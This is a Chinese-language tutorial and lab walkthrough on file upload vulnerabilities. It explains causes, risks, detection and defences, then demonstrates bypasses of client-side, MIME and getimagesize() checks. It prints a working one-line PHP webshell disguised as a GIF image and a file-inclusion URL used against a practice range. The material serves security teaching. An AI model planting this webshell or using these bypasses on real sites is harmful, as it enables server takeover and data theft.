文件上传漏洞简述
什么是文件上传漏洞?
凡是存在文件上传的地方均有可能存在文件上传漏洞,关于上传文件操作的时候对方代码写的是否完整、是否安全,一旦疏忽了某个地方可能会造成文件上传漏洞。
文件上传的原理
网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护
文件上传漏洞有哪些危害
文件可以自定义,可以成为Webshell,通过文件上传来上传后门,直接获取网站权限,属于高危漏洞。上传漏洞与SQL注入或者XSS相比,其风险更大。可以获取数据库信息,可以对服务器提权,获取内网权限。
文件上传漏洞如何查找及判断
1.黑盒查找
文件后台
进入网站后台不一定能获得网站权限,可以从后台获取网站权限
会员中心
通过图片上传
文件扫描
使用工具扫描出后台路径
2.白盒查找
通过代码分析到上传漏洞
查找文件上传功能
文件上传如何防御
将上传文件与web服务隔离
使用白名单过滤、限制上传文件类型
文件上传路径设置为不可执行权限
检查文件上传路径
自带函数检测,自定义函数检测
图片渲染 对上传文件重命名
对文件内容压缩,重新生成文件内容 检查文件内容
文件上传漏洞绕过的方式有哪些
文件包含绕过
前端限制绕过
文件扩展名绕过
ashx上传绕过
特殊文件名绕过
00截断绕过上传
htaccess解析漏洞
突破MIME限制上传
解析漏洞绕过
条件竞争绕过
CONTENT-LENGTH绕过
一、 client check(客户端检测)
说明:在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。这种验证方式很不安全,很容易被绕过。可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过。
(1)这里设置了白名单,所以直接将一句话木马改成jpg后缀上传
(2)bp抓包,将后缀修改回php后,放包上传
(3)上传成功,得到文件保存路径为uploads/qjkhcmd.php(很多实际情况并不会返回文件保存的路径,需要自己爆破或猜解获得)
(4)用蚁剑进行连接
成功连接:
二、MIME type服务端检测
说明:服务端会对上传的数据中的content-type字段进行检测,判断其是否为指定的文件格式。
(1)绕过只需要抓包将字段修改为image/jpeg图片类型即可(你开始上传的是图片,就自动变成image/jpeg的类型了),绕过的步骤和上面一样:抓包,修改后缀以及content-type字段,放包,蚁剑连接就行。
这里就不放连接shell的截图了
三、getimagesize()检测
说明:getimagesize函数会去读取文件头部的几个字符串,判断是否为正常图片的开头(各种文件头都是有固定格式,jpg、png等图片都有自己的文件头)
这种方式只能将含有一句话木马的图片上传至服务器端,不能解析,所以要利用文件包含漏洞包含上传的图片,将其解析。
文件包含漏洞
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。服务器解析执行php文件时能通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,木马就能被成功执行。
所以,这题可以采用制作图片马,利用文件包含漏洞,让图片中的木马解析成功。
(1)步骤:在一句话木马前面添加GIF89a(这是GIF图片文件头,我上面的实验都用的这种形式的一句话木马)
代码如下:
GIF89a
<?=@eval($_POST['cmd']);
发现上传成功
利用靶场的文件包含漏洞进行利用
拼接url如下:
http://xxxxx/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/05/10/233506645b518282129043202491.jpg&submit=%E6%8F%90%E4%BA%A4
这个路径是根据上面已经连接的shell拼接出来的,实战环境中只能自己去试它的相对路径
可以看到包含的jpg已经被解析为php且用蚁剑可以连接 ,漏洞利用成功
实战中遇见白名单加这个函数检测可以让你上传图片,但是找不到文件包含点就很难受